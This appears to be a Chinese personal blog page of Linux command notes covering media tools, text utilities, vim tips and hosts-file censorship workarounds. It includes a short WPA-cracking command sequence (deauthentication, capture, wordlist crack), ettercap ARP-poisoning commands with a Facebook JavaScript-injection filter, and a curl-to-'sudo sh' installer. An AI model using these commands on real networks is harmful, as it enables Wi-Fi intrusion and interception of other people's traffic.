Linux命令笔记[四]

二维码生成软件:sudo apt-get install qrencode
识别二维码:apt-get install libdecodeqr-examples

把图片转换成 ASCII 字符:jp2a –background=light –height=16 11.jpg
把字符转换成图片?试试 a2png

开源图标库 Open Icon Librar http://openiconlibrary.sourceforge.net/

重置Compiz,alt+ctrl+F1 进入shell,在home文件夹中执行 find -type d -name “*compiz*” | xargs -i rm -rf {}   ,然后再 alt+F7。

在终端中用cat命令查看二进制文件导致终端乱码,输入reset命令后即可正常。

grabbs 准则 : http://en.wikipedia.org/wiki/Grubbs’_test_for_outliers
学生t分步计算库:alglib,python中scipy库scipy.stats.t   ,其中ppf为inverse of cdf ,为inverse student t distribution

视频分割:
mencoder -ss 开始时间 -oac copy -ovc copy -endpos 终止时间 文件名 -o 目标文件名
合并:
mencoder -ovc copy -oac copy 文件名1 文件名2 -o 目标文件名

html转pdf,sudo apt-get install wkhtmltopdf ,用法,wkhtmltopdf www.baidu.com test.pdf

ibus输入法图标不见,killall ibus-daemon,ibus-daemon -d 搞定

查找类似相同(duplicate)图片,sudo apt-get install findimagedupes
findimagedupes -R —
Look for and compare images in all subdirectories of the current directory.还能查找GIF图片,太强大了。
findimagedupes -R — /media/E盘/图片/ML/ | sed “s/ /\n/g” | xargs -i cp {} .
查找重复的图片,然后把所有结果的图片复制到当前目录下面。sed “s/ /\n/g”  将用空格分隔开的结果换行处理。

cut主要是用来分割文件中的字符串,并且根据要求进行显示的一个命令。
cut -d: -f 1 /etc/passwd > /tmp/users
-d用来定义分隔符,默认为tab键,-f表示需要取得哪个字段
当然也可以通过cut取得文件中每行中特定的几个字符,例如:
cut -c3-5 /etc/passwd
就是输出/etc/passwd文件中每行的第三到第五个字符。
cut -c1-8 /etc/passwd |head
head是显示一个文件的内容的前多少行 默认是10行
head -n file
比如我们显示/etc/profile的前10行内容,应该是:
root@ubuntu# head -n 10 /etc/profile

文件分割与组装:
split -b 20m RevolutionOS.rmvb RevOS_part_
“-b 20m”指定分割文件的大小为20M,文件后面的“RevOS_part_”是分割文件的前缀
组装:cat RevOS_part_* > RevolutionOS_RSB.rmvb
想要以行数为分割,比如每100行生成1个文件,只需要 -l 参数,如下:
split -l 100 test.txt

sort-n 123.txt将文本中的行排序,sort -n test.txt | uniq 删除重复行
查看文件中重复行
sort file1|uniq -d  所有重复行用-D
查看文件中唯一行
sort file|uniq -u

Linux开启远程桌面可以用工具 x11vnc,windows客户端工具用UtralVnc
sudo apt-get install x11vnc,运行直接输入 x11vnc

利用IPV6,ubuntu下使用ipv6很简单,只需要下面几步
sudo apt-get install miredo
Ubuntu默认安装UFW防火墙软件,修改ufw配置文件
sudo vim /etc/default/ufw
将“IPV6=no”改为“IPV6=yes”即可
现在,你可以用ifconfig命令查看到多了一个隧道了
访问ipv6.google.com,不出意外,可以成功访问。
然后修改hosts文件,将域名指向未被封(和谐)锁的ipv4或ipv6地址。从而绕过ip屏蔽及DNS污(和谐)染。
sudo vim /etc/hosts
最新hosts请自行搜索。下方附的hosts需爬(和谐)墙。
推荐将ipv4及ipv6的hosts结合使用达到最佳效果。(YT必须使用ipv6进行访问,否则只能浏览而无法播放。)
修改完hosts后,重启浏览器后,FB和推需在用户设置里选上始终使用https加密安全浏览。
使用http明文会被GF(和谐)W检索到而遭到重置,可手动在地址栏http后加s在回车访问,设置后将自动使用https。
设置完后,可正常访问Google、Twitter、Youtube、Facebook等了。
附:Google 和各种网站的 IPv4 服务 hosts
https://docs.google.com/document/pub?id=1GWaVSxitymPsfUOXwl1BOD7rHR_RiolDoR13r1ydSMc
Google和各种网站的IPv6服务hosts
http://code.google.com/p/ipv6-hosts/

youtube视频下载:sudo apt-get install youtube-dl
MP3文件合并,sudo apt-get install mp3wrap

goagent GAE代理配置笔记:
0.修改host,增加IPV6 host:
2404:6800:8002::8d yourid.appspot.com
或 ipv6.google.com,前提要启用了IPV6
5.用firefox的autoproxy,设置代理为127.0.0.1,端口为我们上面配置的。或者用chrome的Proxy SwitchySharp。

网络抓包过滤工具:sudo apt-get installngrep,例如找mp3格式的音乐文件,sudo ngrep -d any -W byline -qwi  ‘.mp3’,具体参数见文档。

下载Apple预告片,右键复制mov地址,如: http://trailers.apple.com/movies/wb/inception/inception-tlr3_1080p.mov    在_1080的_后加一个h,变成: http://trailers.apple.com/movies/wb/inception/inception-tlr3_h1080p.mov ,然后wget -U QuickTime  ” http://trailers.apple.com/movies/wb/inception/inception-tlr3_h1080p.mov”
yahoo: wget -L -O 123.mov  ” http://playlist.yahoo.com/makeplaylist.dll?sdm=web&pt=rd&sid=?????”

eclipse代码主题: http://www.eclipsecolorthemes.org/  安装 (File->Import->Preferences->xxx.epf->Finish)
vs2010代码主题: http://studiostyl.es/

wpa破解:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng -c 6 -w wpacrack –bssid 目标mac mon0
aireplay-ng -0 1 -a 目标mac  mon0
aircrack-ng your.cap -w yourwordlist

格式化U盘:sudo mkfs.vfat  /dev/sdc1    ,格式化前要先卸载 umount /media/upan

apache 403 You don’t have permission to access / on this server.错误,解决:
sudo chown -R root:root /var/www    #必需要为root所有才行。
sudo chmod -R 755 /var/www
sudo /etc/init.d/apache2 restart

无法在模块路径中找到主题引擎:“pixmap”
解决办法:sudo apt-get install gtk2-engines-pixbuf

youtube-dl” http://www.youtube.com/view_play_list?feature=iv&src_vid=MxYl3cnn4yw&p=7604BFACE2442F9A&annotation_id=annotation_860455″ -f 22 -o “%(title)s.%(ext)s” –playlist-start 2
-f 22为720P的视频
-o “%(title)s.%(ext)s” 保存名字为 标题加后缀
–playlist-start 2 从列表中的第二个开始下载

sudo shutdown -h +120  //两小时候关机

convert -quality 70 9.jpg 12.jpg  压缩图片大小 sudo apt-get install imagemagic

ls | grep -v *.11O 取反,找出不是以11O为后缀的文件

安装npm:curl http://npmjs.org/install.sh |sudo sh
安装socket.io  :npm install socket.io

etterfilter ig.filter -o ig.ef
ettercap -T -q -F ig.ef -M ARP /192.168.0.100/ //
sudo ettercap -i eth0 -TQ -F facebook_js_inject.ef -M arp:remote /192.168.1.1/ //

goagent在chrome导入证书上,在chrome的高级选项中,管理证书->授权中心->导入->local/CA.crt

ettercap -TQP scan_poisoner //   ->Check if someone is poisoning between some host in the list and us.
ettercap -TQP arp_cop //
ettercap -TQP search_promisc //

vim:1. 如何只保留匹配内容行而删除其他行?
:v/pattern/d
:help :v
2. 如何对每行只保留匹配内容而删除这一行中的其它内容
:%s/^.*\(pattern\).*$/\1/g
3. 删除包含特定字符串的行
:g/pattern/d
从Vim拷贝到系统粘贴板:”+y
从系统粘贴板拷贝到Vim:”+p 或 Shitf + insert
vim重新加载文件命令     :e!

加密文件 : mcrypt filename 解密:mdecrypt filename

rar打开乱码:sudo apt-get remove rar     sudo apt-get install p7zip-rar
zip乱码装p7zip-full